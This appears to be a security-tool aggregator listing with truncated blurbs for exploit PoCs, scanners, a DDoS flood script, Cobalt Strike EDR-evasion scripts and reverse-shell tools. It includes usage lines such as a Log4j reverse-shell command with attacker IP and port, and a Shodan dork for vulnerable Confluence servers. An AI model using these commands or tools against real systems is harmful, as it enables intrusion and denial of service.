Commvault-CVE-2025-34028

CVE-2025-34028 Commvault 远程代码执行 CVE-2025-34028 NSE 如何在 Nmap 中运行： nmap -p443 --script CVE-2025-34028 --script-args='https-ports=443'...

HTMLawed

HTMLawed is ... ... a single-file, 45 kb PHP script that makes input text more secure, HTML standards-compliant, and suitable in general from the viewpoint of a web-page administrator, for use in the body of HTML, XHTML or XML documents. A simple HTMLTidy alternative, the htmLawed filter,...

ApacheTomcatScanner

A python script to scan for Apache Tomcat server vulnerabilities. Features Multithreaded workers to search for Apache tomcat servers. Multiple target sources accepted: Retrieving list of computers from a Windows domain through an LDAP query to use them as a list of targets...

CVE-2018-2893

CVE-2018-2893 Vulnerability Verification Script Usage root@kitploit: python CVE-2018-2893.py 10.10.0.1 7001 Analysis Warning root@kitploit: https://www.anquanke.com/post/id/152164 Script Source root@kitploit: https://www.secfree.com/article-957.html...

WP-CVE-2023-32243

WP-CVE-2023-32243 How to use 1. Make sure you have installed the dependencies: root@kitploit: pip install requests 2. Run script with target list file: root@kitploit: python2 file.py ⚠️ Disclaimer This repository was created for security research and educational purposes only. More Disclaimer You...

kali-vm

Constructor de imágenes de VM de Kali Este es el script de compilación para crear las imágenes de Kali Linux Máquina Virtual VM. Actualmente hay dos métodos de compilación posibles: build.sh - compila directamente desde tu máquina build-in-container.sh - compila desde un contenedor Docker o...

ddos

ndbiaw Un script Python para DDoS a un sitio web mediante el método HTTP Flood. ¡Un sitio web normal solo necesita 5 segundos para caer por completo! Cómo usar: Este script puede funcionar tanto en Windows como en Android Termux. A continuación se indican las instrucciones: root@kitploit: pip...

CVE-2024-38063

CVE-2024-38063 PoC | DKob & N3TCR4SH Resumen Este script es una Prueba de Concepto PoC para explotar CVE-2024-38063. Genera y envía paquetes IPv6 fragmentados maliciosos con opciones de destino específicas para atacar un kernel, lo que podría causar una denegación de servicio o inestabilidad...

GitLab-cve-2021-22205-nse

Script to fingerpring a GItLab instance for CVE-2021-22205 by Frank breedijk of DIVD.nl...

chomp-scan

Chomp Scan Un pipeline de herramientas con scripts para simplificar la fase de reconocimiento en bug bounty/pruebas de penetración, para que puedas centrarte en cazar bugs. Si has encontrado algún bug usando esta herramienta, ¡por favor dímelo! Scope Chomp Scan es un script de Bash que encadena l...

Confluence-CVE-2022-26134

Confluence-CVE-2022-26134 dork en shodan root@kitploit: https://www.shodan.io/search?query=http.favicon.hash%3A-305179312&page=2 Curl poc root@kitploit: curl -v...

Log4j2-CVE-2021-44228-revshell

Log4j2-CVE-2021-44228-revshell Uso root@kitploit: Para reverse shell: $ python3 Log4j2-revshell.py -M rev -u http://www.victimLog4j.xyz:8080 -l AttackerIP -p AttackerPort -hp HTTPServerPort Para comprobar si es explotable: $ python3 Log4j2-revshell.py -M check -u http://www.victimLog4j.xyz:8080 -...

huntr-com-bug-bounties-collector

Recolector de bugs de huntr.com Nuevo recolector de bug bountyvulnerabilidades Requisitos Chrome con interfaz gráfica Si tienes problemas con la ejecución del script, verifica el estado de las características de GPU de las máquinas virtuales, si están disponibles. Chrome WebDriver Vista previa...

cc.py

cc.py Extracting URLs of a specific target based on the results of "commoncrawl.org". Updated to v.0.3 | Whats new: 65% faster proceeding Specify a year via -y/--year, e.g.: -y 2018 Specify an output file via -o/--out, e.g.: -o whatever.txt Crawl all pages for a specific index -i/--index, e.g.:...

CVE-2021-36747

CVE-2021-36747 Blackboard Learn through 9.1 allows XSS by an authenticated user via the Feedback to Learner form. Discovered: May 11th, 2018 The Blackboard Security Team has been notified of this issue. They acknowledged the vulnerability on May 14, 2018. Description: The Blackboard tool commonly...

CobaltWhispers

CobaltWhispers Author: @Cerbersec CobaltWhispers is an aggressor script that utilizes a collection of Beacon Object Files for Cobalt Strike to perform process injection, persistence and more, leveraging direct syscalls to bypass EDR/AV. CobaltWhispers is powered by SysWhispers2 and InlineWhispers...

whodunit

whodunit Recognizing the most likely APT groups responsible for an incident Description This program takes a report from a cybersecurity incident containing the MITRE ATT&CK techniques that have been detected to have been used in the incident and tries to recognize which APT groups are the most...

mediator

Mediator is an end-to-end encrypted reverse shell in which the operator and the shell connect to a "mediator" server that bridges the connections. This removes the need for the operator/handler to set up port forwarding in order to listen for the connection. Mediator also allows you to create...

APTSimulator

APT Simulator Importante: No descargues simplemente el repositorio como ZIP ni lo clones si no planeas desarrollar alguna prueba. Usa el paquete disponible en la versión, el cual contiene una versión empaquetada con archivos cifrados que no incluyen muestras ni herramientas en texto claro. APT...

Halcyon-IDE

Halcyon IDE Descripción Halcyon IDE es el primer IDE desarrollado exclusivamente para desarrolladores de scripts de Nmap. Este proyecto comenzó inicialmente como un proyecto de tiempo libre en una cafetería. La idea original era proporcionar una interfaz de desarrollo más fácil para la comunidad ...